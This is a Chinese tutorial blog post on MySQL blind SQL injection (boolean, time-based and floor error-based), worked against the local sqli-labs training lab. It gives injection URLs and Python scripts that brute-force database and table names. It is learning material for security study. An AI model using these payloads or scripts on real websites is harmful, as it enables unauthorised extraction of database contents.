sql盲注的学习

这几天在学习sql注入的有关内容,今天记录一下我认为比较重要的部分,即sql盲注,我一开始学习的时候看到了好多的函数,看着看着就弄混了,相信不少新入门的师傅也有类似的困惑,经过多番心理斗争,我终于决定将这部分知识好整理一下,同时也给大家分享一下我在学习过程中编写的几个自动注入脚本,也欢迎各位师傅的指点和斧正。

函数整理

这里我先将所用到的功能函数整理一下,同时也欢迎各位师傅的补充和纠正

left(m,n) #从左向右截取字符串m返回其前n位
substr(m,1,2) #取字符串m的左边第一位起,2字长的字符串
ascii(m) #返回字符m的ASCII码
if(str1,str2,str3) #如果str1正确就执行str2,否则执行str3
sleep(m) #使程序暂停m秒
lenhth(m) #返回字符串m的长度
count(column_name) #返回指定列的值的数目

concat()函数和group_concat()区别

concat()

该函数用于联合两条数据结果,通常是联合两个字段名,如concat(username,0x23,passwd),数据将由#分割开

group_concat()

这个函数与concat()用法是类似的,但如果管理员账号不止一个的话,concat一次只能注出一组用户名密码,而使用group_concat()可以实现一次注出多组数据。

盲注类型

基于布尔的盲注

特征

被注入的页面没有sql语句执行错误的显示,页面只有正常返回和不正常返回两种状态

示例

这里我拿sqli-labs的less8作为布尔型盲注的例子

我们可以看到这个页面正常会返回You are in...........而不正常的时候会无任何返回,这就很符合布尔盲注的特征

正常返回:

非正常返回:

构造?id=1' and 1=1 %23时正常返回

这里基本就可以确定可以使用布尔盲注来获得数据库中的数据

接下来我们来猜解库名,在猜解库名之前,我们首先需要知道库名的长度

这里我们就可以利用length()函数来进行长度的爆破:

http://127.0.0.1/sqli-labs/Less-8/?id=1' and (length(database())=m) %23 //m=1,2,3,4.....

代码如下:

结果

接下来开始进行库名的猜解,这里用到了ascii()函数和substr()函数,具体的语句如下:

http://127.0.0.1/sqli-labs/Less-8/?id=1' and ascii(substr(database(),m,1))=n %23 //其中m 和 n是可变的参数

猜解库名的自动化脚本函数如下:

结果如下:

猜解表名和字段和猜解库名是一样的,篇幅原因将代码直接放出:

import requestsdef get_dblength(base_url):    url = base_url+"' and (length(database())={0}) %23"    base_num = 100    for i in range(0,base_num):        url1 = url.format(i)        print(url1)        result = len(requests.get(url1).text)        if result  == base_result:            print("库名长度:",i)            break    return i
def get_dbname(base_url,db_length):    dict = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'    dbname = ""    url = base_url+"' and ascii(substr(database(),{0},1))={1} %23"    for i in range(1,db_length+1):        for m in dict:            m_ascii = ord(m)            url2 = url.format(i,m_ascii)            result = requests.get(url2)            if len(result.text) == base_result:                dbname += m                print(dbname)                break    print("库名:",dbname)
def get_table_length():    url = base_url + "' and (select length(table_name) from information_schema.tables where table_schema = database() limit {0},1)={1}%23"    for i in range(0,20):        url1 = url.format(2,i)        result = requests.get(url1)        if base_result == len(result.text):            print("表名长度:",i)            break    return i
def get_table_name(table_length):    dict = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'    table_name = ""    url = base_url + "' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit {0},1),{1},1))={2} %23"    for i in range(1,table_length + 1):        for m in dict:            ascii_m = ord(m)            url1 = url.format(2,i,ascii_m)            result = requests.get(url1).text            if base_result == len(result):                table_name +=m                print("表名:",table_name)                break    return table_name
if __name__ == '__main__':    base_url = "http://127.0.0.1/sqli-labs/Less-8/?id=1"    base_result = len(requests.get(base_url).text)    dblength = get_dblength(base_url)    get_dbname(base_url, dblength)    get_table_length()    get_table_name(7)

基于时间的盲注

特征

被注入页面无论作何输入都回显相同的数据,导致我们无法判断注入是否成功,这时我们就可以使用以sleep()函数为核心的注入语句进行延时注入

示例

以sqli-labs less9作为示例

不管我们输入什么页面都显示You are in...........这时我们就可以用延时注入的方法进行数据库数据的获取

同样我们需要先获取库名的长度,然后再获取库名

这里主要使用到了sleep(),substr()和length()函数

获取库名长度:

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if((length((select database()))=m),sleep(5),NULL) %23//其中m为整型可变参数,如果猜解正确,页面将会暂停响应5秒

获取库名:

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if((substr((select database()),m,1)='n'),sleep(5),NULL) %23//其中m为整形,n为char型可变参数

爆破代码:

import requests
def db_post(url):    try:        result = requests.get(url,timeout=4)        return 0    except:        return 1def get_db_length():    url = base_url + "' and if((length((select database()))={0}),sleep(5),NULL) %23"    for i in range(0,20):        url1 = url.format(i)        temp = db_post(url1)        if temp == 1:            print("数据库名长度:",i)            break    return i
def get_db_name(db_length):    db_name = ""    url = base_url + "' and if((substr((select database()),{0},1)='{1}'),sleep(5),NULL) %23"    print("开始猜解库名")    for i in range(1,db_length+1):        for m in dict:            url1 = url.format(i,m)            temp = db_post(url1)            if temp == 1:                db_name += m                print(db_name)                break    print("库名:",db_name)    return db_name
if __name__ == '__main__':    dict = 'abcdefghijklmnopqrstuvwxyz'    base_url = "http://127.0.0.1/sqli-labs/Less-9/?id=1"    db_length = get_db_length()    get_db_name(db_length)

可以看到成功将库名猜解出来

剩下的表名和字段将脚本稍作修改即可猜解出来,篇幅原因不再重复操作

基于报错的盲注(floor报错注入)

原理

该类型的注入利用了mysql的8652号BUG(官方链接:https://bugs.mysql.com/bug.php?id=8652),当使用group by对某些rand函数操作时,会返回带有敏感信息的错误信息,我们可以通过特定的sql语句组合来控制返回敏感信息的内容,从而实现间接的注入

示例

对于BUG触发的原理本篇不做分析,通过对该类型注入的资料收集,根据网络上的payload我整理了一份有效的注入语句

以sqli-labs less5为实际示例

这里要用到concat和count函数

回显库名:

http://127.0.0.1/sqli-labs/Less-5/?id=1' union select 1,count(*),concat("-","-",(select database()),"-","-",floor(rand(0)*2))a from information_schema.columns group by a %23

接下来是表名的注入,我们同样需要知道表名的个数:

http://127.0.0.1/sqli-labs/Less-5/?id=1' union select 1,count(*),concat("-","-",(select count(table_name) from information_schema.tables where table_schema='security'),"-","-",floor(rand(0)*2))a from information_schema.columns group by a %23

表名有四个,接着注出表名:

http://127.0.0.1/sqli-labs/Less-5/?id=1' union select 1,count(*),concat("-","-",(select table_name from information_schema.tables where table_schema='security' limit 3,1),"-","-",floor(rand(0)*2))a from information_schema.columns group by a %23

想注出全部表名修改limit参数即可

列名和数据同理修改查询语句就可以了。

总结

盲注是一个比较费神和考验逻辑的注入方式,在注入的过程中会做很多相同的工作,为了节省时间和精力,建议大家在平时练习的时候多编写自动脚本,这样能节省很多时间,避免做更多重复无用的工作

本文分享自微信公众号 - 安恒网络空间安全讲武堂(cyberslab)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-03-21

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏品茗IT

SpringBoot入门建站全系列(二十四)使用Sharding-JDBC进行分库分表

一个系统最初的线上业务量并不会很大,比如说单库的数据量在百万级别以下(事实上千万级别以下都还能支撑),那么MySQL的单库即可完成任何增/删/改/查的业务操作。...

9220
来自专栏品茗IT

Spring和SpringDataJpa整合的乐观锁与悲观锁详情

上一篇《Spring和SpringDataJpa整合详解》介绍了Spring如何结合Spring-data-jpa进行数据库访问操作。这一篇介绍下springm...

8330
来自专栏ellipse数据库技术

数据挖掘

数据挖掘——就是从大量的、不完全的、有噪声的、模糊的、随机的实际应用数据中提取隐含在其中的、人们事先不知道的、但又是潜在有用的信息和知识的过程。

8220
来自专栏品茗IT

git commit emoji 使用指南

git commit 时使用 emoji 为本次提交打上一个 “标签”, 使得此次 commit 的主要工作得以凸现,也能够使得其在整个提交历史中易于区分与查找...

9340
来自专栏品茗IT

Spring和Activiti工作流整合详解

Activiti作为一个流行的开源工作流引擎,正在不断发展,其6.0版本以API形式提供服务,而之前版本基本都是要求我们的应用以JDK方式与其交互,只能将其携带...

18530
来自专栏品茗IT

SpringBoot入门建站全系列(十一)Spring-security进行权限认证

Spring 是一个非常流行和成功的 Java 应用开发框架。Spring Security 基于 Spring 框架,提供了一套 Web 应用安全性的完整解决...

24760
来自专栏品茗IT

SpringBoot入门建站全系列(二十六)Mongodb非关系型数据库的使用

MongoDB 是一个基于分布式文件存储的数据库。由 C++ 语言编写。旨在为 WEB 应用提供可扩展的高性能数据存储解决方案。

9630
来自专栏品茗IT

SpringBoot入门建站全系列(三)Mybatis操作数据库

Mybatis插件:比较时髦,比较适合sql复杂,或者对性能要求高的应用,因为sql都是自己写的。

7430
来自专栏品茗IT

SpringBoot入门建站全系列(十三)本地缓存的使用(Ehcache和caffeine的使用)

本地缓存,就是使用应用内使用本地内存将数据暂缓存储,一般数据库的查询如果不怎么改动,可以用本地缓存暂存。

10140
来自专栏品茗IT

SpringBoot入门建站全系列(十四)集成Redis缓存

本地缓存,就是使用应用内使用本地内存将数据暂缓存储,一般数据库的查询如果不怎么改动,可以用本地缓存暂存。

8730

扫码关注云+社区

领取腾讯云代金券

年度创作总结 领取年终奖励